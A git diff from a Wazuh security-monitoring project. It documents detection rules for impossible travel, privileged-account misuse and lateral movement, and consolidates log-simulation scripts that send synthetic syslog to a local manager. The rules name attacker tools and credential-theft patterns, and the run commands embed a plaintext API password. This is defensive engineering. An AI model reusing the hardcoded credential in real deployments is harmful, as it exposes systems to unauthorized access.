rrelation requires the `soc-integrator` detection service. Wazuh rules flag per-event geo-anomaly candidates; upstream correlation confirms the travel impossibility. 446
+
447
+### Simulation Rules
448
+
449
+| Rule ID | Level | Use Case                                                                  | MITRE ID | Technique      | Tactic                           |
450
+| ------- | ----- | ------------------------------------------------------------------------- | -------- | -------------- | -------------------------------- |
451
+| 100501  | 12    | C1-01: Impossible travel — VPN login from geographically distant location | T1078    | Valid Accounts | Initial Access / Defense Evasion |
452
+
453
+### Production Rules
454
+
455
+| Rule ID | Level | Match Condition                   | Description                                               | MITRE ID | Technique      |
456
+| ------- | ----- | --------------------------------- | --------------------------------------------------------- | -------- | -------------- |
457
+| 110501  | 12    | `event_type=vpn_login_success`    | VPN login with geo context — impossible travel candidate  | T1078    | Valid Accounts |
458
+| 110502  | 15    | `event_type=c1_impossible_travel` | Impossible travel confirmed by soc-integrator correlation | T1078    | Valid Accounts |
459
+
460
+**T1078 — Valid Accounts (Impossible Travel)**
461
+This is the highest-confidence valid-account detection because it does not rely on password patterns or known bad IPs — it relies on physical impossibility. Rule 110502 (level 15, the highest in this ruleset) fires only after the soc-integrator has correlated two logins and confirmed they cannot represent the same person travelling normally.
462
+
463
+---
464
+
465
+## C2 — Advanced Credential Abuse & Privilege Misuse
466
+
467
+File: `rules/soc-c1-c3-rules.xml` | Decoder: `soc-mvp-windows` | Source: `source=windows`
468
+
469
+**ATT&CK context:** C2 detects insider threat and post-compromise privilege abuse patterns that are individually legitimate but anomalous in context — an admin logging in at 3am, a service account used interactively, a dormant account suddenly active. These require behavioural baselining to distinguish real attacks from noise.
470
+
471
+### Simulation Rules
472
+
473
+| Rule ID | Level | Use Case                                                                | MITRE ID  | Technique                       | Tactic               |
474
+| ------- | ----- | ----------------------------------------------------------------------- | --------- | ------------------------------- | -------------------- |
475
+| 100511  | 12    | C2-01: Privileged account used outside business hours                   | T1078.002 | Valid Accounts: Domain Accounts | Privilege Escalation |
476
+| 100512  | 8     | C2-02: Dormant account activation detected                              | T1078     | Valid Accounts                  | Defense Evasion      |
477
+| 100513  | 12    | C2-03: Service account interactive logon                                | T1078.003 | Valid Accounts: Local Accounts  | Privilege Escalation |
478
+| 100514  | 12    | C2-04: Rapid privilege escalation followed by sensitive resource access | T1098     | Account Manipulation            | Persistence          |
479
+
480
+### Production Rules
481
+
482
+| Rule ID | Level | Event ID | Match Condition                                     | Description                                       | MITRE ID  | Technique                       |
483
+| ------- | ----- | -------- | --------------------------------------------------- | ------------------------------------------------- | --------- | ------------------------------- |
484
+| 110511  | 12    | 4624     | `is_admin=true` + `event_type=windows_auth_success` | Privileged account auth success — off-hours       | T1078.002 | Valid Accounts: Domain Accounts |
485
+| 110512  | 8     | 4624     | `event_type=windows_auth_success` + `legacy.`       | Dormant/legacy account auth success               | T1078     | Valid Accounts                  |
486
+| 110513  | 12    | 4624     | `is_service=true` + `logon_type=10`                 | Service account interactive logon (type 10)       | T1078.003 | Valid Accounts: Local Accounts  |
487
+| 110514  | 12    | 4732     | `is_admin=true`                                     | Rapid privilege escalation: group change by admin | T1098     | Account Manipulation            |
488
+
489
+**T1078.002 — Valid Accounts: Domain Accounts (Off-Hours)**
490
+Domain admin activity outside normal business hours (e.g. 2–5am local time) is a known attacker signature — legitimate admins rarely work at those hours but attackers work when defenders are asleep. Requires time-of-day context from the soc-integrator for production correlation.
491
+
492
+**T1078.003 — Valid Accounts: Local Accounts (Service Account Interactive Logon)**
493
+Service accounts are designed for automated processes, not interactive sessions. A service account logging in interactively (logon type 10 = Remote Interactive, or type 2 = Local Interactive) indicates either credential theft or an insider using a service account to evade personal activity tracking.
494
+
495
+---
496
+
497
+## C3 — Lateral Movement & Internal Reconnaissance
498
+
499
+File: `rules/soc-c1-c3-rules.xml` | Decoders: `soc-mvp-windows`, `soc-mvp-windows-lateral` | Source: `source=windows`
500
+
501
+**ATT&CK context:** After establishing initial access, attackers move laterally to reach high-value targets (domain controllers, file servers, backup systems). C3 detects the burst patterns that characterise automated lateral movement tools (Cobalt Strike, Impacket, BloodHound) — many hosts contacted in a short time window.
502
+
503
+### Simulation Rules
504
+
505
+| Rule ID | Level | Use Case                                              | MITRE ID  | Technique                                 | Tactic                     |
506
+| ------- | ----- | ----------------------------------------------------- | --------- | ----------------------------------------- | -------------------------- |
507
+| 100521  | 12    | C3-01: Multiple auth successes across different hosts | T1021     | Remote Services                           | Lateral Movement           |
508
+| 100522  | 12    | C3-02: SMB/RDP lateral movement burst pattern         | T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral Movement           |
509
+| 100523  | 15    | C3-03: Admin account accessing many servers rapidly   | T1021.001 | Remote Services: RDP                      | Lateral Movement           |
510
+| 100524  | 8     | C3-04: Internal scanning / enumeration burst pattern  | T1046     | Network Service Discovery                 | Discovery / Reconnaissance |
511
+
512
+### Production Rules
513
+
514
+| Rule ID | Level | Event ID | Match Condition                                       | Description                                   | MITRE ID  | Technique                 |
515
+| ------- | ----- | -------- | ----------------------------------------------------- | --------------------------------------------- | --------- | ------------------------- |
516
+| 110521  | 12    | 4624     | `dstport=3389` + `event_type=windows_auth_success`    | RDP auth success to remote host               | T1021.001 | Remote Services: RDP      |
517
+| 110522  | 12    | 4624     | `dstport=445` + `event_type=windows_lateral_movement` | SMB lateral movement burst                    | T1021.002 | SMB/Windows Admin Shares  |
518
+| 110523  | 15    | 4624     | `is_admin=true` + `event_type=windows_auth_success`   | Admin RDP success to multiple servers rapidly | T1021.001 | Remote Services: RDP      |
519
+| 110524  | 8     | —        | `event_type=internal_scan`                            | Internal scanning/enumeration burst           | T1046     | Network Service Discovery |
520
+
521
+**T1021 — Remote Services (Lateral Movement)**
522
+An account successfully authenticating to many distinct internal hosts in a short time window (minutes, not hours) is a reliable lateral movement signal. Legitimate admin activity is targeted and intentional; lateral movement tools spray credentials across IP ranges.
523
+
524
+**T1046 — Network Service Discovery (Internal Scanning)**
525
+After initial compromise, attackers scan internal subnets to map the network — identifying domain controllers, databases, backup servers, and other high-value targets. Internal port scanning is anomalous in most environments and should be treated as a high-priority finding.
526
+
527
+---
528
+
529
+## Rule ID Summary
530
+
531
+| Range                                  | Section              | Count   |
532
+| -------------------------------------- | -------------------- | ------- |
533
+| 100200, 100205, 100210, 100220, 100230 | Base / grouping      | 5       |
534
+| 100301–100302 / 110301–110302          | A1 DNS IOC           | 4       |
535
+| 100311–100320 / 110311–110320          | A2 FortiGate FW      | 20      |
536
+| 100331–100335 / 110331–110335          | A3 FortiGate VPN     | 10      |
537
+| 100341–100364 / 110341–110362          | A4 Windows/AD        | 37      |
538
+| 100401–100403 / 110401–110403          | B1 VMware            | 6       |
539
+| 100411 / 110411                        | B2 Log Monitor       | 2       |
540
+| 100421–100426 / 110421–110426          | B3 Sysmon            | 12      |
541
+| 100501 / 110501–110502                 | C1 Impossible Travel | 3       |
542
+| 100511–100514 / 110511–110514          | C2 Credential Abuse  | 8       |
543
+| 100521–100524 / 110521–110524          | C3 Lateral Movement  | 8       |
544
+| **Total**                              |                      | **115** |
545
+
546
+---
547
+
548
+## Running the Simulator
549
+
550
+```bash
551
+cd scripts
552
+
553
+# Single batch (all use cases)
554
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
555
+  python3 send-wazuh-api-sim.py --selector all --batch
556
+
557
+# Continuous (all use cases, 65s between rounds to stay under rate limit)
558
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
559
+  python3 send-wazuh-api-sim.py --selector all --batch --forever --delay 65
560
+
561
+# Single section
562
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
563
+  python3 send-wazuh-api-sim.py --selector a2 --batch
564
+
565
+# Single use case
566
+WAZUH_API_USER=wazuh-wui WAZUH_API_PASS='MyS3cr37P450r.*-' \
567
+  python3 send-wazuh-api-sim.py --selector A2-01 --count 1
568
+```
569
+
570
+## Wazuh Operations
571
+
572
+```bash
573
+# Reload rules (no container restart needed)
574
+docker exec wazuh-single-wazuh.manager-1 /var/ossec/bin/wazuh-control reload
575
+
576
+# Test a single event
577
+echo 'soc_mvp_test=true source=dns event_type=ioc_dns_traffic src_ip=1.2.3.4' | \
578
+  docker exec -i wazuh-single-wazuh.manager-1 /var/ossec/bin/wazuh-logtest
579
+
580
+# Watch live alerts for SOC rules
581
+docker exec wazuh-single-wazuh.manager-1 \
582
+  tail -f /var/ossec/logs/alerts/alerts.json | grep --line-buffered "soc_mvp"
583
+```

+ 15 - 0
samples/README.md

@@ -0,0 +1,15 @@
1
+# SOC Production Sample Logs
2
+
3
+These files provide realistic sample events aligned with current production-focused Wazuh rules (`110xxx`):
4
+
5
+- `appendix-a-production-samples.log`
6
+- `appendix-b-production-samples.log`
7
+- `appendix-c-production-samples.log`
8
+
9
+Notes:
10
+
11
+- FortiGate and VMware lines are raw/syslog-style key-value examples.
12
+- Windows samples are in compact JSON using Wazuh-decoded field names (`win.system.eventID`, `win.eventdata.*`) so rule intent is explicit.
13
+- SOC Integrator correlation examples use `soc_event=...` payloads consumed by custom decoders (`soc-prod-dns`, `soc-prod-integrator`).
14
+
15
+These are reference samples for testing and documentation, not exact byte-for-byte exports from a single environment.

+ 32 - 423
scripts/README.md

@@ -1,458 +1,67 @@
1
-# Test Event Scripts
1
+# Scripts
2 2
 
3
-## SOC Integrator UI (`Run Sim Logs`) target mapping
3
+## Combined Wazuh simulator
4 4
 
5
-`/ui -> Systems -> Run Sim Logs` now supports **multi-select Target** values based on selected `Script`.
6
-The UI starts one simulator run per selected target (except `all`, which runs a single `all` run).
7
-
8
-- `fortigate`: `all`, `501E`, `80F`, `60F`, `40F`
9
-- `endpoint`: `all`, `windows`, `mac`, `linux`
10
-- `cisco`: `all`, `asa_acl_deny`, `asa_vpn_auth_fail`, `ios_login_fail`, `ios_config_change`
11
-- `proposal_required`: `all`, `a1`, `a2`, `a3`, `a4`
12
-- `proposal_appendix_b`: `all`, `b1`, `b2`, `b3`
13
-- `proposal_appendix_c`: `all`, `c1`, `c2`, `c3`
14
-- `wazuh_test`: `all`, `ioc_dns`, `ioc_ips`, `vpn_outside_th`, `windows_auth_fail`
15
-
16
-## Send Wazuh test events
17
-
18
-Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
5
+Use one script for all Appendix A/B/C simulation log replay.
19 6
 
20 7
 ```bash
21
-scripts/send-wazuh-test-events.sh [scenario] [count] [delay_seconds]
8
+scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run]
22 9
 ```
23 10
 
24
-Optional flag:
25
-
26
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
27
-
28
-Scenarios:
29
-
30
-- `ioc_dns`
31
-- `ioc_ips`
32
-- `vpn_outside_th`
33
-- `windows_auth_fail`
34
-- `all`
35
-
36 11
 Examples:
37 12
 
38 13
 ```bash
39
-scripts/send-wazuh-test-events.sh all
40
-scripts/send-wazuh-test-events.sh vpn_outside_th 5 0.2
41
-WAZUH_SYSLOG_HOST=127.0.0.1 WAZUH_SYSLOG_PORT=514 scripts/send-wazuh-test-events.sh ioc_ips
42
-scripts/send-wazuh-test-events.sh all 1 2 --forever
14
+scripts/send-wazuh-sim-logs.sh all 1 0.2
15
+scripts/send-wazuh-sim-logs.sh a2 1 0
16
+scripts/send-wazuh-sim-logs.sh B3-06 1 0
17
+scripts/send-wazuh-sim-logs.sh c1 1 2 --forever
18
+scripts/send-wazuh-sim-logs.sh all 1 0 --dry-run
43 19
 ```
44 20
 
45
-Environment overrides:
21
+Environment variables:
46 22
 
47 23
 - `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
48 24
 - `WAZUH_SYSLOG_PORT` (default `514`)
49
-- `WAZUH_TEST_SRC_IP`
50
-- `WAZUH_TEST_DOMAIN`
51
-- `WAZUH_TEST_USER`
52
-
53
-Transport notes:
54
-
55
-- Uses `nc` if available.
56
-- Falls back to Bash UDP redirection (`/dev/udp/host/port`) when `nc` is unavailable.
57
-
58
-## Send Cisco device test events
59
-
60
-Use this to inject Cisco-style syslog events (ASA/IOS) into Wazuh manager.
25
+- `DRY_RUN=1` (alternative to `--dry-run`)
61 26
 
62
-```bash
63
-scripts/send-wazuh-cisco-test-events.sh [scenario] [count] [delay_seconds]
64
-```
65
-
66
-Optional flag:
27
+Selector support:
67 28
 
68
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
29
+- Global: `all`
30
+- Appendix: `a`, `b`, `c`, `appendix-a`, `appendix-b`, `appendix-c`
31
+- Section: `a1`, `a2`, `a3`, `a4`, `b1`, `b2`, `b3`, `c1`, `c2`, `c3`
32
+- Use-case ID: `A1-01` ... `C3-04`
69 33
 
70
-Scenarios:
71
-
72
-- `asa_acl_deny`
73
-- `asa_vpn_auth_fail`
74
-- `ios_login_fail`
75
-- `ios_config_change`
76
-- `all`
77
-
78
-Examples:
34
+Sample sources:
79 35
 
80
-```bash
81
-scripts/send-wazuh-cisco-test-events.sh all
82
-scripts/send-wazuh-cisco-test-events.sh asa_acl_deny 5 0.2
83
-CISCO_DEVICE_HOST=edge-fw-01 scripts/send-wazuh-cisco-test-events.sh ios_login_fail
84
-scripts/send-wazuh-cisco-test-events.sh all 1 2 --forever
85
-```
86
-
87
-Environment overrides:
88
-
89
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
90
-- `WAZUH_SYSLOG_PORT` (default `514`)
91
-- `CISCO_DEVICE_HOST`
92
-- `CISCO_SRC_IP`
93
-- `CISCO_DST_IP`
94
-- `CISCO_VPN_USER`
95
-- `CISCO_ADMIN_USER`
36
+- `samples/appendix-a-production-samples.log`
37
+- `samples/appendix-b-production-samples.log`
38
+- `samples/appendix-c-production-samples.log`
96 39
 
97
-## Send FortiGate firewall test events
40
+## Dashboard import
98 41
 
99
-Use this to inject FortiGate-style syslog events (models `501E`, `80F`, `60F`, `40F`) into Wazuh manager.
42
+Import Wazuh dashboards (NDJSON):
100 43
 
101 44
 ```bash
102
-scripts/send-wazuh-fortigate-test-events.sh [model] [count] [delay_seconds]
45
+scripts/import-wazuh-dashboard.sh <path-to-ndjson>
103 46
 ```
104 47
 
105
-Optional flag:
106
-
107
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
108
-
109
-Models:
110
-
111
-- `501E`
112
-- `80F`
113
-- `60F`
114
-- `40F`
115
-- `all`
116
-
117 48
 Examples:
118 49
 
119 50
 ```bash
120
-scripts/send-wazuh-fortigate-test-events.sh all
121
-scripts/send-wazuh-fortigate-test-events.sh 80F 5 0.2
122
-WAZUH_SYSLOG_HOST=127.0.0.1 WAZUH_SYSLOG_PORT=514 scripts/send-wazuh-fortigate-test-events.sh 60F
123
-scripts/send-wazuh-fortigate-test-events.sh all 1 2 --forever
124
-```
125
-
126
-Environment overrides:
127
-
128
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
129
-- `WAZUH_SYSLOG_PORT` (default `514`)
130
-- `FGT_SRC_IP`
131
-- `FGT_DST_IP`
132
-- `FGT_DOMAIN`
133
-- `FGT_USER`
134
-
135
-## Run continuous FortiGate simulation
136
-
137
-Use this to generate ongoing FortiGate-like traffic and security events for Wazuh testing.
138
-
139
-```bash
140
-scripts/send-wazuh-fortigate-continuous.sh [profile] [models] [base_delay_seconds]
141
-```
142
-
143
-Profiles:
144
-
145
-- `normal` (mostly allowed traffic, occasional admin/vpn/webfilter)
146
-- `incident` (higher IPS/webfilter/vpn anomalies)
147
-- `mixed` (balanced baseline + anomalies)
148
-
149
-Models:
150
-
151
-- `501E`
152
-- `80F`
153
-- `60F`
154
-- `40F`
155
-- `all`
156
-
157
-Examples:
158
-
159
-```bash
160
-scripts/send-wazuh-fortigate-continuous.sh mixed all 0.8
161
-scripts/send-wazuh-fortigate-continuous.sh incident 80F 0.3
162
-SIM_MAX_EVENTS=200 scripts/send-wazuh-fortigate-continuous.sh normal 501E 1.0
163
-```
164
-
165
-Environment overrides:
166
-
167
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
168
-- `WAZUH_SYSLOG_PORT` (default `514`)
169
-- `SIM_MAX_EVENTS` (default `0`, which means run forever)
170
-- `SIM_SRC_PREFIX` (default `10.10.20`)
171
-- `SIM_VPN_USER`
172
-- `SIM_ADMIN_USER`
173
-
174
-## Simulate all required logs from proposal
175
-
176
-Use this to generate synthetic logs for all use cases listed in:
177
-`Security Detection & Threat Intelligence Enhancement Proposal-2.md` Appendix A (A1-A4).
178
-
179
-```bash
180
-scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds]
181
-```
182
-
183
-Optional flag:
184
-
185
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
186
-
187
-Selectors:
188
-
189
-- `all` (all Appendix A use cases)
190
-- `a1`, `a2`, `a3`, `a4` (by section)
191
-- specific use case id, e.g. `A2-01`, `A3-05`, `A4-24`
192
-
193
-Examples:
194
-
195
-```bash
196
-scripts/send-wazuh-proposal-required-events.sh all 1
197
-scripts/send-wazuh-proposal-required-events.sh a3 3 0.5
198
-scripts/send-wazuh-proposal-required-events.sh A3-05 1
199
-DRY_RUN=1 scripts/send-wazuh-proposal-required-events.sh all 1
200
-scripts/send-wazuh-proposal-required-events.sh a2 1 2 --forever
201
-```
202
-
203
-Environment overrides:
204
-
205
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
206
-- `WAZUH_SYSLOG_PORT` (default `514`)
207
-- `EVENT_DELAY` (default `0.05`)
208
-- `DRY_RUN` (default `0`, set `1` to print only)
209
-- `FGT_DEVNAME`, `FGT_DEVID`
210
-- `WIN_HOST`, `DNS_HOST`
211
-- `SIM_VPN_USER`
212
-
213
-## Simulate Appendix B logs (revise proposal)
214
-
215
-Use this to generate synthetic logs for Appendix B (B1-B3) in:
216
-`Security Detection & Threat Intelligence Enhancement Proposal-revise.md`.
217
-
218
-```bash
219
-scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
220
-```
221
-
222
-Optional flag:
223
-
224
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
225
-
226
-Selectors:
227
-
228
-- `all` (all Appendix B use cases)
229
-- `b1`, `b2`, `b3` (by section)
230
-- specific use case id, e.g. `B1-01`, `B2-01`, `B3-06`
231
-
232
-Examples:
233
-
234
-```bash
235
-scripts/send-wazuh-proposal-appendix-b-events.sh all 1
236
-scripts/send-wazuh-proposal-appendix-b-events.sh b3 2 0.5
237
-scripts/send-wazuh-proposal-appendix-b-events.sh B3-06 1
238
-DRY_RUN=1 scripts/send-wazuh-proposal-appendix-b-events.sh all 1
239
-scripts/send-wazuh-proposal-appendix-b-events.sh b1 1 2 --forever
240
-```
241
-
242
-Environment overrides:
243
-
244
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
245
-- `WAZUH_SYSLOG_PORT` (default `514`)
246
-- `EVENT_DELAY` (default `0.05`)
247
-- `DRY_RUN` (default `0`, set `1` to print only)
248
-- `VCENTER_HOST`, `ESXI_HOST`, `LOGMON_HOST`, `WIN_SYSMON_HOST`
249
-- `SIM_USER`
250
-
251
-## Simulate Appendix C logs (future enhancement MVP)
252
-
253
-Use this to generate synthetic logs for Appendix C (C1-C3) in:
254
-`Security Detection & Threat Intelligence Enhancement Proposal-revise.md`.
255
-
256
-```bash
257
-scripts/send-wazuh-proposal-appendix-c-events.sh [selector] [count] [delay_seconds]
258
-```
259
-
260
-Optional flag:
261
-
262
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
263
-
264
-Selectors:
265
-
266
-- `all` (all Appendix C use cases)
267
-- `c1`, `c2`, `c3` (by section)
268
-- specific use case id, e.g. `C1-01`, `C2-03`, `C3-04`
269
-
270
-Examples:
271
-
272
-```bash
273
-scripts/send-wazuh-proposal-appendix-c-events.sh all 1
274
-scripts/send-wazuh-proposal-appendix-c-events.sh c1 1 0.5
275
-scripts/send-wazuh-proposal-appendix-c-events.sh C3-04 1
276
-DRY_RUN=1 scripts/send-wazuh-proposal-appendix-c-events.sh all 1
277
-scripts/send-wazuh-proposal-appendix-c-events.sh c2 1 2 --forever
278
-```
279
-
280
-Environment overrides:
281
-
282
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
283
-- `WAZUH_SYSLOG_PORT` (default `514`)
284
-- `EVENT_DELAY` (default `0.05`)
285
-- `DRY_RUN` (default `0`, set `1` to print only)
286
-- `VPN_HOST`, `WIN_HOST`
287
-- `SIM_USER`, `SIM_SERVICE_USER`, `SIM_SRC_IP`
288
-
289
-## Simulate endpoint client-agent logs (Windows / macOS / Linux)
290
-
291
-Use this to inject realistic endpoint telemetry for client agents into Wazuh.
292
-
293
-```bash
294
-scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds]
295
-```
296
-
297
-Optional flag:
298
-
299
-- `--forever` (ignore `count` and run continuously until Ctrl+C)
300
-
301
-Platforms:
302
-
303
-- `windows`
304
-- `mac`
305
-- `linux`
306
-- `all`
307
-
308
-Scenarios:
309
-
310
-- `auth`
311
-- `process`
312
-- `persistence`
313
-- `privilege`
314
-- `malware`
315
-- `all`
316
-
317
-Examples:
318
-
319
-```bash
320
-scripts/send-wazuh-endpoint-agent-test-events.sh all all 1 0.2
321
-scripts/send-wazuh-endpoint-agent-test-events.sh windows process 10 0.1
322
-DRY_RUN=1 scripts/send-wazuh-endpoint-agent-test-events.sh linux all 1 0
323
-scripts/send-wazuh-endpoint-agent-test-events.sh all auth 1 2 --forever
324
-```
325
-
326
-Environment overrides:
327
-
328
-- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
329
-- `WAZUH_SYSLOG_PORT` (default `514`)
330
-- `DRY_RUN` (default `0`)
331
-- `WIN_HOST`, `MAC_HOST`, `LINUX_HOST`
332
-- `SIM_USER`
333
-
334
-## Shuffle sample workflow helpers
335
-
336
-Sample playbook design for Shuffle:
337
-
338
-- `shuffle-workflows/sample-ioc-playbook.md`
339
-
340
-Sample execution payload:
341
-
342
-- `scripts/events/shuffle-sample-execution.json`
343
-
344
-Trigger an existing Shuffle workflow from CLI:
345
-
346
-```bash
347
-scripts/trigger-shuffle-workflow.sh <workflow_id> [ioc_type] [ioc_value]
348
-```
349
-
350
-Create MVP workflows in Shuffle (from proposal mapping):
351
-
352
-```bash
353
-SHUFFLE_API_KEY=<your_key> scripts/create-shuffle-mvp-workflows.sh
354
-```
355
-
356
-This creates:
357
-
358
-- `MVP - IOC Enrichment and Case Routing`
359
-- `MVP - VPN Geo Anomaly Triage`
360
-
361
-## Import Wazuh Dashboard (FortiGate Simulation)
362
-
363
-Prebuilt saved objects file:
364
-
365
-- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
366
-
367
-Import helper:
368
-
369
-```bash
370
-scripts/import-wazuh-dashboard.sh
371
-```
372
-
373
-Optional overrides:
374
-
375
-```bash
376
-WAZUH_DASHBOARD_URL=https://localhost \
377
-WAZUH_DASHBOARD_USER=admin \
378
-WAZUH_DASHBOARD_PASS=SecretPassword \
379
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-fortigate-sim-dashboard.ndjson
380
-```
381
-
382
-After import, open dashboard:
383
-
384
-- `SOC FortiGate Simulation Overview`
385
-
386
-## Wazuh dashboard files (detailed)
387
-
388
-Dashboard saved objects are stored in `scripts/events/*.ndjson`.
389
-
390
-- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
391
-  
392
-  - Title: `SOC FortiGate Simulation Overview`
393
-  - Purpose: FortiGate simulation visibility (events over time, top devices, top event types, severity).
394
-  - Typical data source: `scripts/send-wazuh-fortigate-test-events.sh`
395
-
396
-- `scripts/events/wazuh-client-agents-dashboard.ndjson`
397
-  
398
-  - Title: `SOC Client Agent Simulation Overview`
399
-  - Purpose: Endpoint simulation visibility for Windows/macOS/Linux agent logs.
400
-  - Typical data source: `scripts/send-wazuh-endpoint-agent-test-events.sh`
401
-
402
-- `scripts/events/wazuh-proposal-required-dashboard.ndjson`
403
-  
404
-  - Title: `SOC Proposal Required Logs Overview`
405
-  - Purpose: Appendix A required-scope logs (A1-A4).
406
-  - Typical data source: `scripts/send-wazuh-proposal-required-events.sh`
407
-
408
-- `scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson`
409
-  
410
-  - Title: `SOC Proposal Appendix A+B Overview`
411
-  - Purpose: Combined Appendix A and B overview, including use-case table.
412
-  - Typical data sources:
413
-    - `scripts/send-wazuh-proposal-required-events.sh`
414
-    - `scripts/send-wazuh-proposal-appendix-b-events.sh`
415
-
416
-- `scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson`
417
-  
418
-  - Title: `SOC Proposal Appendix C Overview`
419
-  - Purpose: Appendix C MVP scope visibility (currently C1-C3 coverage).
420
-  - Typical data source: `scripts/send-wazuh-proposal-appendix-c-events.sh`
421
-
422
-- `scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson`
423
-  
424
-  - Title: `SOC Proposal Custom Rules Overview`
425
-  - Purpose: Monitor custom proposal rules (e.g., 1003xx/1004xx families), severity, and top descriptions.
426
-  - Typical data source: Any simulation script that triggers proposal custom rules.
427
-
428
-### Import any dashboard file
429
-
430
-```bash
431
-scripts/import-wazuh-dashboard.sh scripts/events/<dashboard-file>.ndjson
432
-```
433
-
434
-Examples:
435
-
436
-```bash
437
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
438 51
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
439 52
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson
440 53
 scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson
441
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
54
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
442 55
 ```
443 56
 
444
-Optional overrides:
57
+## Other helpers
445 58
 
446
-```bash
447
-WAZUH_DASHBOARD_URL=https://localhost \
448
-WAZUH_DASHBOARD_USER=admin \
449
-WAZUH_DASHBOARD_PASS=SecretPassword \
450
-OVERWRITE=true \
451
-scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
452
-```
59
+- `seed-iris-demo-data.sh`: seed IRIS demo cases/tasks via API.
60
+- `create-shuffle-mvp-workflows.sh`: create Shuffle MVP workflows from templates.
61
+- `trigger-shuffle-workflow.sh`: trigger a Shuffle workflow by ID.
62
+- `update-shuffle-workflow-from-template.sh`: update existing Shuffle workflow JSON from template.
453 63
 
454
-### Quick troubleshooting
64
+## Notes
455 65
 
456
-- Verify index pattern has data in Discover: `wazuh-alerts-*`.
457
-- Set time range wide enough (for example `Last 24 hours`).
458
-- If charts are empty but raw logs exist, re-import the latest NDJSON and refresh index fields.
66
+- Legacy `send-wazuh-*` simulator scripts were removed and replaced by `send-wazuh-sim-logs.sh`.
67
+- If you add new sample events, keep comments tagged with use-case IDs (for example `# A2-01 ...`) so selector filtering keeps working.

Diferenças do arquivo suprimidas por serem muito extensas
+ 6 - 6
scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson


+ 0 - 136
scripts/send-wazuh-cisco-test-events.sh

@@ -1,136 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-SCENARIO="${1:-all}"
5
-COUNT="${2:-1}"
6
-DELAY="${3:-0.3}"
7
-FOREVER="false"
8
-
9
-for arg in "${@:4}"; do
10
-  case "${arg}" in
11
-    --forever)
12
-      FOREVER="true"
13
-      ;;
14
-    *)
15
-      echo "error: unexpected argument '${arg}'"
16
-      echo "usage: scripts/send-wazuh-cisco-test-events.sh [scenario] [count] [delay_seconds] [--forever]"
17
-      exit 1
18
-      ;;
19
-  esac
20
-done
21
-
22
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
23
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
24
-
25
-CISCO_DEVICE_HOST="${CISCO_DEVICE_HOST:-cisco-asa-01}"
26
-CISCO_SRC_IP="${CISCO_SRC_IP:-198.51.100.25}"
27
-CISCO_DST_IP="${CISCO_DST_IP:-10.10.10.20}"
28
-CISCO_VPN_USER="${CISCO_VPN_USER:-vpn.user}"
29
-CISCO_ADMIN_USER="${CISCO_ADMIN_USER:-admin}"
30
-
31
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
32
-  echo "error: count must be a positive integer"
33
-  exit 1
34
-fi
35
-
36
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
37
-  echo "error: delay must be numeric (example: 0.5)"
38
-  exit 1
39
-fi
40
-
41
-emit_syslog() {
42
-  local msg="$1"
43
-  local sent="false"
44
-
45
-  if command -v nc >/dev/null 2>&1; then
46
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
47
-      sent="true"
48
-    fi
49
-  fi
50
-
51
-  if [[ "${sent}" != "true" ]]; then
52
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
53
-      sent="true"
54
-    fi
55
-  fi
56
-
57
-  if [[ "${sent}" != "true" ]]; then
58
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
59
-    echo "hint: install netcat or run with bash UDP support (/dev/udp)"
60
-    return 1
61
-  fi
62
-
63
